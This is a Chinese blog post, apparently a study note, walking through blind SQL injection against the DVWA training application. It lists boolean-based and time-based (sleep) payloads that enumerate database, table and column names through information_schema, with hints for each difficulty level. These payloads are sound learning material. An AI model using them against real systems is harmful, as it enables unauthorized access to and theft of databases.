dvwa练习之sql inclusion(blind)数据库注入之盲注。

数据库盲注简单来讲就是你输入一条语句,数据库返回告诉你这条语句是否正确。举个例子:数据库名长度是4,返回是的。

首先还是给出主要参考链接:https://www.freebuf.com/articles/web/120985.html    我们后面还是需要老朋友burp。

然后给出整理的语句:

猜测当前数据库名
1,猜测数据库长度:1' and length(database()) = x #(返回存在为止)
2,采用二分法猜测数据库名: 1' and ascii(substr(database(),1,1))>97 #(小写字母a的ascii码为97,第一个1代表第几位,第二个1代表截取长度)
3,猜测数据库中的表的数量: 1' and (select count(table_name) from information_schema.tables where table_schema=database()) = 1#
4,猜测数据库表名长度: 1' and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))= 1#
5,猜测数据库表名: 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97# (limit 后第一个数字代表第几个数据库,后面一个1代表几个数据库
6,猜测表中字段的数量: 1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #
7,猜测表字段名长度: 1'  and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#
8,猜测表字段名:1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>97#



基于时间延迟的注入
1,判断是否存在注入:1'  and sleep(5)#   有明显的延迟。
2,猜测数据名长度:1' and if(length(database())=1,sleep(5),1)# If(a,b,c)判断a为正确执行b,否则执行c。
3,猜测数据库名:1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
4,猜测数据库中表的数量:1' and if ((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)#
5,猜解表名长度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)#
6,猜测表名:1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97,sleep(5),1)#
7,猜测字段长度:1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1)#
8,猜测字段名: 1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=97,sleep(5),1)#


为什么我会给出语句呢,因为参考链接里面使用的代码在low级别有时候是不行的,原因就是低级没有过滤中文单引号,导致使用中文单引号把后面全部注释掉了,这个提醒我们程序员一定要熟练的在中文与英文之间来回切换,使用正确的中英文。还说一句你在测试的时候最好把数据调出来做对比,这是链接:https://blog.csdn.net/wang_624/article/details/89707473

使用burp在参考链接中说道很明白,提醒一下,中级使用1 and if(length(database())=4,sleep(5),1) # 是没有单引号的。高级感觉和中级没有太大的区别,对于字符限制,就将字符转义。

课外知识链接:https://www.cnblogs.com/Qiuzhiyu/p/11666695.html   ,https://blog.csdn.net/weixin_46168828/article/details/104187725

发布了13 篇原创文章 · 获赞 2 · 访问量 1274

猜你喜欢

转载自blog.csdn.net/caption88/article/details/104335501